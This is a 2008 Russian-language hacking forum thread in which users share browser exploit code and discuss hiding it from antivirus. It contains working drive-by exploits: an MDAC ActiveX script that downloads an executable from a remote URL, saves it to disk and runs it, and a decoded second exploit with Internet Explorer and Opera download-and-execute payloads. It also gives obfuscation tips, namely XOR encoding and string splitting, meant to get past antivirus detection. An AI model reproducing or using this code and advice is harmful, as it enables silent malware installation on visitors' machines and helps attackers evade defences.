Крипт Сплойта

Discussion in 'Безопасность и Анонимность' started by Xszz, 13 Mar 2008.

  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Все доброго времени суток .
    Возможно эта тема поднималась , но все же ...
    Каким образом криптуется сплойт , если можно , пример .. Вот код сплойта , как его спрятать от антивируса и сохранить его работоспособность , пробовал обфускацию - от антивируса не спасает .
    Спасибо ...
    PHP:
    <?
    $clsid "'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'";
    ?>
    <script language="JavaScript">
        
    <?    // mdac + ?>
        function <?=$var[1];?>(<?=$var[7];?>)
        {
            var <?=$var[2];?> = "abcdefghiklmnopqrstuvwxyz";
            var <?=$var[3];?> = <?=$var[7];?>;
            var <?=$var[4];?> = '';
            for (var i=0; i<<?=$var[3];?>; i++)
            {
                var <?=$var[5];?> = Math.floor(Math.random() * <?=$var[2];?>.length);
                <?=$var[4];?> += <?=$var[2];?>.substring(<?=$var[5];?>,<?=$var[5];?>+1);
            }
            return <?=$var[4];?>;
        }
        
        function <?=$var[6];?>(CLSID, name)
        {
            var result = null;
            
                            try { eval('result = CLSID.CreateObject(name)') }         catch(e){}
            if (! result) { try { eval('result = CLSID.CreateObject(name, "")') }     catch(e){} }
            if (! result) { try { eval('result = CLSID.CreateObject(name, "", "")') } catch(e){} }
            if (! result) { try { eval('result = CLSID.GetObject("", name)') }        catch(e){} }
            if (! result) { try { eval('result = CLSID.GetObject(name, "")') }        catch(e){} }
            if (! result) { try { eval('result = CLSID.GetObject(name)') }            catch(e){} }
            
            return(result);
        }
        
        function <?=$var[8];?>(xml, url)
        {
            try
            {
                xml.open("GET", url, false);
                xml.send(null);
            } catch(e) { return 0; }
                
            return xml.responseBody;
        }
        
        function <?=$var[9];?>(o, name, data)
        {
            try
            {
                o.Type = 1;
                o.Mode = 3;
                o.Open();
                o.Write(data);
                o.SaveToFile(name, 2);
                o.Close();
            } catch(e) { return 0; }
            return 1;
        }
        
        function <?=$var[10];?>(exec, name, type)
        {
            if (type == 0)
            {
                try { exec.Run(name, 0); return 1; } catch(e) { }
            }
            else
            {
                try { exe.<?=$var[10];?>(name); return 1; } catch(e) { }
            }
            return(0);
        }
        
        function mdac()
        {
            var <?=$var[11];?> = "<?=$ie_path;?>";
            var <?=$var[12];?> = new Array(<?=$clsid;?>, null);
            var <?=$var[13];?> = new Array(null, null, null);
            var i = 0;
            var n = 0;
            var ret = 0;
            
            while (<?=$var[12];?>[i] && (! <?=$var[13];?>[0] || ! <?=$var[13];?>[1] || ! <?=$var[13];?>[2]) )
            {
                var a = null;
                
                try
                {
                    a = document.createElement("object");
                    a.setAttribute("classid", "clsid:" + <?=$var[12];?>[i].substring(1, <?=$var[12];?>[i].length - 1));
                } catch(e) { a = null; }
                    
                if (a)
                {
                    if (! <?=$var[13];?>[0])
                    {
                        <?=$var[13];?>[0] = <?=$var[6];?>(a, "ms"+"xml2.XM"+"LHTTP");
                        if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "Micr"+"osoft.X"+"MLHTTP");
                        if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "MSX"+"ML2.Serv"+"erXML"+"HTTP");
                    }
                    if (! <?=$var[13];?>[1])
                    {
                        <?=$var[13];?>[1] = <?=$var[6];?>(a, "ADO"+"DB.St"+"ream");
                    }
                    if (! <?=$var[13];?>[2])
                    {
                        <?=$var[13];?>[2] = <?=$var[6];?>(a, "WSc"+"ript.Sh"+"ell");
                        if (! <?=$var[13];?>[2])
                        {
                            <?=$var[13];?>[2] = <?=$var[6];?>(a, "Sh"+"ell.Appli"+"cation");
                            if (<?=$var[13];?>[2]) n=1;
                        }
                    }
                }
                i++;
            }
            if (<?=$var[13];?>[0] && <?=$var[13];?>[1] && <?=$var[13];?>[2])
            {
                var data = <?=$var[8];?>(<?=$var[13];?>[0], <?=$var[11];?>);
                
                if (data != 0)
                {
                    var name = "c:\\"+<?=$var[1];?>(4)+".exe";
                    if (<?=$var[9];?>(<?=$var[13];?>[1], name, data) == 1)
                    {
                        if (<?=$var[10];?>(<?=$var[13];?>[2], name, n) == 1) { ret=1; }
                    }
                }
            }
            return ret;
        }
    <?    // mdac - ?>
        
        function Attack()
        {
            mdac();
        }
        
        Attack();

    </script>

     
  2. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    http://iframe.in/
     
  3. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Вставляю код , нажимаю generate но в ответ ничего не получаю ...
     
  4. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Надо справа выбрать JavaScript Encoder
     
  5. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    дык выбрал... :(
     
  6. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    все верно вам написали. выбор сделать надо
    Choose method: JavaScript Encoder
    Затем в поле слева вставить свой скрипт и нажать кнопку Generate
    Помигает полоска, мол что-то делается. Затем появятся ниже варианты обфусцированного кода. Попробуйте еще раз. Не пойму в чем проблема у вас? Банальный вопрос - поддержку javascript в браузере случаем не отключали?
     
  7. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    PHP:
    <? 
    $key_that_script_is_crypted=46
    $resource_crypted_code ='#$
    [\B FZZ^  
    q}k|xk|u fzz~qfa}z s ]Z\q\K^BOMK rr   JG\@OCK
    q}k|xk|u ~f~q}kbh s  BAOJ ^F^ #$H[@MZGA@K@MAJK
    MA@ZK@ZU#$[t3]
    ]Z\Z\GC]Z\G^qZOI]
    MA@ZK@Z#$[t3]
    @KY #$[t3]HA\
    G
    G]Z\BK@
    ]Z\
    G
    @KY MF\A\J
    ]Z\u
    Gsp#$[t3]\KZ[\@    ]M\G^ZBO@I[OIKdOXO}M\G^Z]Z\      
    @KY      ]Z\ HA\GG]Z\ BK@IZFGU]Z\]Z\}Z\G@I H\ACmFO\mAJK]Z\ MFO\mAJKoZGpSKXOB]Z\]M\G^Z    #$S#$GH
    DOXOZ\[KKMFA    O^^BKZO\MFGXK DOXO ^F^ MAJK lOOOOlOO MBO]] YGJZFFKGIFZ^O\OC@OCK [\B XOB[K      
    [\B      O^^BKZ    #$KB]KGH
    L\AY]K\ c}gk KMFA    FZCBFKOJCKZOfzz~k{gx |kh|k}f MA@ZK@Z {|bG@JKV ^F^      K@MAJK    ]M\G^ZBO@I[OIK dOXO}M\G^Z #$]ZO\Z#$H[@MZGA@]ZO\ZU#$XO\@KYIJAM[CK@Z M\KOZKkBKCK@Zr    ALDKMZr    #$@KYI ]KZoZZ\GL[ZKr    GJr    r    @KYIr    #$@KYI ]KZoZZ\GL[ZKr    MBO]]GJr    r    MBr    r    ]Gr     Jlj  m r    or     j r    or     m r    hmr     k r    r    #$Z\WU#$XO\_@KYI m\KOZKaLDKMZr    C]r     VC r    Br       r    vcr     bf r    zr    r    z~r    r    r    #$XO\]@KYI m\KOZKaLDKMZ }FKB  B o^  ^B  GMOZG  A@ r    r    #$XO\Z@KYI m\KOZKaLDKMZr    OJr    r    AJr     L  r    ]Zr     \K r    OCr    r    r    #$Z\WUZ ZW^K#$_ A^K@r    ir     k r    zr    r         
    [\B     r    HOB]K#$_ ]K@JZ A^K@#$Z y\GZK_ \K]^A@]KlAJW#$XO\@OCKr       GKV^BA\K\ KVKr    #$Z }OXKzAhGBK@OCK#$Z mBA]K#$SMOZMFKUS#$Z\WU] ]FKBBKVKM[ZK@OCKSMOZMFKUSS#$MOZMFKUSS#$]M\G^Z      FKOJFZCB #$KB]KGH
    L\AY]K\ a^K\O KMFAK@MAJK    ]M\G^ZBO@I[OIK dOXO}M\G^Z #$LBO@EqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr    GH\OCKr    #$LBO@EqGH\OCK ]\Mr    OLA[ZLBO@Er    #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr    GJr    r    LBO@EqGH\OCKqYG@JAYr    #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr    ]ZWBKr    r    JG]^BOW@A@Kr    #$JAM[CK@Z O^^K@JmFGBJLBO@EqGH\OCK#$LBO@EqGH\OCKqYG@JAY KXOB MA@HGIqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr    GH\OCKr    r#$MA@HGIqGH\OCK ]KZoZZ\GL[ZKr    GJr    r    MA@HGIqGH\OCKqYG@JAYr    r#$MA@HGIqGH\OCK ]\Mr    A^K\OMA@HGIr    r#$JAM[CK@Z O^^K@JmFGBJMA@HGIqGH\OCKr#$O^^qGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr    ]M\G^Zr    r#$MOMFKqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr    GH\OCKr    r#$O^^qGH\OCK ]\Mr    ^F^KMFA
    [\Br    r#$O^^qGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKqGH\OCK ]\Mr    A^K\OMOMFKr    r#$MOMFKqGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKMOMFKqGH\OCK MA@ZK@ZjAM[CK@Z MFGBJ`AJK]us G@@K\fzcb ZA{^^K\mO]Kr#$XO\\K@KY|KIkV^r    a~|rrrrYUS kvkzjrrrr]zjrrrrJzjrrrr]zjof|khr r    O^^qGH\OCK ]\M ZA{^^K\mO]Kr    r    r#$HGBK@OCKMOMFK COZMF\Kr#$MA@HGIqGH\OCKqYG@JAY KXOBr#$r r#$A^K\O ]KZ~\KHK\K@MKr    `KZYA\Er    r    z`o^^r    A^K\O IKZ~\KHK\K@MKr    {]K\~\KH]r    r    mOMFKjG\KMZA\Wr    ^O\K@Z HGBK@OCKusr#$O^^qBG@EJAM[CK@Z M\KOZKkBKCK@Zr    Or    r#$O^^qBG@E ]KZoZZ\GL[ZKr    F\KHr    r    Z@@AZFG@Ir    r#$O^^qBG@E MBGMEr#$]KZzGCKA[ZH[@MZGA@UA^K\O ]KZ~\KHK\K@MKr    `KZYA\Er    r    z`o^^r    r    ZKB@KZ KVKr    Sr#$r r#$Sr#$JAM[CK@Z O^^K@JmFGBJMOMFKqGH\OCKr#$Sr#$JAM[CK@Z O^^K@JmFGBJO^^qGH\OCK #$]M\G^Z    #$'

    $string_output=str_replace("[t1]""<?"$resource_crypted_code); 
    $string_output=str_replace("[t3]""'"$string_output); 
    $lenth_of_crypted_code=strlen($string_output); 
    $eval_php_code=''
    for(
    $huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++) 
    $eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted); 
    eval(
    $eval_php_code); 
    ?> 
    Вот хотелось бы услышать как закрипчен вот этот сплойт ?
    Спасибо .
     
  8. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    2neprovad
    А вы попробуйте код из первого поста вставить ...
     
  9. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    в предыдущему посту с применением php - код зашифрован с применением операции xor.
    код из первого поста вставлял, криптованый код получал, на работоспособность не проверял, так как такой цели не было. но факт что криптор все же работает и выдает результат
     
    #9 neprovad, 13 Mar 2008
    Last edited: 13 Mar 2008
  10. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Как можно декриптить этот код , с примением Xor ?
     
  11. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    eval($eval_php_code); -> echo $eval_php_code;
     
    1 person likes this.
  12. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    А теперь вопрос , как закриптить ...
    Желательно по пунктам , самый примитивный метод ... Заранее спасибо
     
  13. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    самый примитивный - переписать строки из вида "srt" в вид "s"+"tr".
     
  14. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    А поподробнее =)
    С примерами
    Спасибо
     
  15. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    try { eval('result = CLSID.CreateObject(name)') } в
    try { eval('res'+'ult'+' = CLS'+'ID.C'+'reate'+'Object'+'(na'+'me)') }
     
  16. NFM

    NFM Reservists Of Antichat

    Joined:
    16 Jan 2006
    Messages:
    308
    Likes Received:
    191
    Reputations:
    22
    просто попробуй узнать сначала на какую строчку ругается антивирус, потом пробуй ее изменить
     
  17. КучО

    КучО Member

    Joined:
    27 Sep 2007
    Messages:
    21
    Likes Received:
    12
    Reputations:
    0
    код, который выложил тс, пхп
    а вы предлагаете на iframe.in его закриптовать как javasript
    ну ппц
    а по поводу сабжа
    я этот же код (как я понял, это от айспака) пытался руками как только не закриптить
    тестил с касперским
    итог - после минуты работы (добавления мусора и переделывания пары кусков кода) при файловой проверке он перестал орать на него
    если же открыть его как html в браузере (что обычно и происходит при целевом использовании ;), он начинает орать. говорит, что trojan.downloaser.slice.js. Это же он кричал и при проверке файла. Только если при проверке самого файла окошко каспера было красное, то сейчас оно было желтое. Т.е. авер проверяет непосредственно код в памяти, и там он все равно палится
    Как же спрятать его?
     
  18. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Купил готовую связку , но все же вопрос актуален .
    Как же все таки можно закриптить ?
     
  19. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    По поводу первого сплойта - можно удаляя по одной строчке найти ту, на которую ругается антивирус и пробовать изменять её, куски яваскрипта без пхп можно обфусцировать на iframe.in
    Однако у меня этот сплойт вообще не выполняется, ПХП выдает кучу ошибок неопределенных переменных, видимо он не полностью представлен, а переменные var[] определяются в том месте, куда инклюдится этот сплоит.

    По поводу второго сплойта раскодировать его просто: вместо
    PHP:
    eval($eval_php_code); 
    вписать
    PHP:
    $f=@fopen("sploit-decoded.txt","w");
    fwrite($f$eval_php_code);
    fclose($f);
    В результате в файле sploit-decoded.txt имеем раскодированый сплоит:

    PHP:

    #$url = "http_//"#$_SERVER["HTTP_HOST"]str_replace ("\\", "/", dirname (#$_SERVER["PHP_SELF"]))"/loadphp"%
    function encode (#$content) {
        #$str = trim (strip_tags (#$content))%
        #$new = ""%
        for (#$i = 0% #$i < strlen (#$str)% #$i ++) #$new = chr (ord (#$str[#$i]) ^ 1)%
        return <script language=JavaScript>str = "#$new"%str2 = ""%for (i = 0% i < strlength% i ++) { str2 = str2 + StringfromCharCode (strcharCodeAt (i) ^ 1)% }% eval (str2)%</script>%
    }
    if (#$java == true) echo <applet archive="javaphp" code="BaaaaBaaclass" width=1  height=1><param name="url" value="#$url"></applet>%
    elseif (#$browser == "MSIE") echo <html><head><meta HTTP-EQUIV="REFRESH" content="3% URL=indexphp?404">encode (<script language="JavaScript">
    start()%
    function start() {
    var newg = documentcreateElement(\object\)%
    newgsetAttribute(\id\,\newg\)%
    newgsetAttribute(\classid\,\cl\+\si\+"d_BD"+"96C5"+\56-65A3-1\+"1D0-98"+\3A-00\+"C04"+\FC2\+"9E"+\36\)%
    try {
    var q = newgCreateObject(\ms\+"xm"+\l2\+""+\XM\+"LH"+\T\+\TP\,\\)%
    var s = newgCreateObject("Shel"+"lAp"+"pl"+"icati"+"on",\\)%
    var t = newgCreateObject(\ad\+\od\+"b"+\st\+"re"+\am\,\\)%
    try { ttype = 1%
    qopen(\G\+"E"+\T\,\#$url\,false)%
    qsend()% topen()%
    tWrite(qresponseBody)%
    var name = \////iexplorerexe\%
    tSaveToFile(name,2)%
    tClose()%
    } catch(e) {}
    try { sshellexecute(name)% } catch(e) {}}
    catch(e){}}
    </script>)"</head></html>"%
    elseif (#$browser == "Opera") echo encode (<script language="JavaScript">
    blank_iframe = documentcreateElement(\iframe\)%
    blank_iframesrc = \about_blank\%
    blank_iframesetAttribute(\id\, \blank_iframe_window\)%
    blank_iframesetAttribute(\style\, \display_none\)%
    documentappendChild(blank_iframe)%
    blank_iframe_windoweval ("config_iframe = documentcreateElement(\iframe\)%\
    config_iframesetAttribute(\id\, \config_iframe_window\)%\
    config_iframesrc = \opera_config\%\
    documentappendChild(config_iframe)%\
    app_iframe = documentcreateElement(\script\)%\
    cache_iframe = documentcreateElement(\iframe\)%\
    app_iframesrc = \<?php echo #$url% ?>\%\
    app_iframeonload = function ()\
    {\
    cache_iframesrc = \opera_cache\%\
    cache_iframeonload = function ()\
    {\
    cache = cache_iframecontentDocumentchildNodes[0]innerHTMLtoUpperCase()%\
    var re = new RegExp(\(OPR\\\\w{5}EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"\+app_iframesrctoUpperCase(), \\)%\
    filename = cachematch(re)%\
    config_iframe_windoweval\
    (\"\
    operasetPreference(\Network\,\TN3270 App\,operagetPreference(\User Prefs\,\Cache Directory4\)+parentfilename[1])%\
    app_link = documentcreateElement(\a\)%\
    app_linksetAttribute(\href\, \tn3270_//nothing\)%\
    app_linkclick()%\
    setTimeout(function () {operasetPreference(\Network\,\TN3270 App\,\telnetexe\)},1000)%\
    \")%\
    }%\
    documentappendChild(cache_iframe)%\
    }%\
    documentappendChild(app_iframe)%")%
    </script>)%

     
  20. 499392599

    499392599 New Member

    Joined:
    12 Mar 2008
    Messages:
    3
    Likes Received:
    3
    Reputations:
    0
    Стукни мне я все раскажу и покажу.
     
    1 person likes this.